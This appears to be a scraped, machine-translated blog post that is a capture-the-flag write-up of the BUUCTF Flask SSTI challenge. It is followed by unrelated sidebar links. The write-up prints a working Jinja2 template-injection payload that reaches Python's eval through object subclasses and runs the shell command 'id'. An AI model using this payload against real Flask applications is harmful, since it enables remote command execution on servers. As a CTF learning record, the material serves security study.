当前位置:网站首页>buuctf-[Flask]SSTI
buuctf-[Flask]SSTI
2022-04-22 20:45:00 【m0_ sixty-two million ninety-four thousand eight hundred and fo】

There are only Hello guest, There is nothing in the source code , Add packet capture XFF No change .
Yes. GET One parameter name, It's hard to think of
By the way, sure SSTI Loophole

< Adding letters will be filtered
Smarty The method in can't work
obtain eval Function and execute any python Code POC
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{
{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

版权声明
本文为[m0_ sixty-two million ninety-four thousand eight hundred and fo]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204222042464289.html
边栏推荐
- (l2-026) small generation (with weight and search set)
- Short link design and thinking
- MATLAB学习笔记 - 计算特征向量手动执行PCA
- JWT token practice and problem solving
- UML (Unified Modeling Language) knowledge learning
- The list of SCI / SSCI journals has been updated and these journals have been eliminated~
- LeeCode 130. Surrounded area
- @requestmapping获取请求参数
- Four ways to create threads
- Comparison between Chinese and American programmers: do you agree
猜你喜欢

Leetcode学习计划之动态规划入门day1,2(共4题)

Soochow securities x kangaroo cloud: the data is easily available and has millisecond response ability. What did Soochow securities do right?

Windows安装Redis
十月的Android面试之旅,惨败在字节三面,幸斩获小米Offer

产品和服务谁重要,长安福特告诉你“全都要”

Asynchronous replication of MySQL master-slave replication

What are the types of documenter examination questions? How to prepare for the documenter examination of the construction department

Who is important about products and services? Changan Ford tells you "all"

Improving Few-Shot Part Segmentation using Coarse Supervision学习笔记

Add / remove / filter / sort array elements
随机推荐
木瓜移动课堂:产品更新,Facebook新增素材预审功能,力控广告违规~
D trigger in FPGA
Is it safe for futures to open an account directly online?
October's Android interview failed miserably in byte three, and fortunately won Xiaomi offer
Windows install redis
【dfs】386. Dictionary order
CDH6. 3.2 enable Kerberos authentication
FPGA中的D触发器
Time and date formatting
JWT token practice and problem solving
Asynchronous replication of MySQL master-slave replication
紫光国微:正积极拓展模拟芯片品类,部分产品已实现批量销售
Evaluaion mark in natural language processing field//updating
东吴证券X袋鼠云:数据轻松可取、毫秒级反应能力,东吴证券做对了什么?
DA14580作为server发送数据
【办公】PPT制作流程
Incorrect string value: ‘\xF0\x9F\x92\x95\’
Error running ‘JeecgSystemApplication‘: Command line is too long. Shorten command line for JeecgSyst
Leetcode学习计划之动态规划入门day1,2(共4题)
排序方式(8种)详解8—桶排序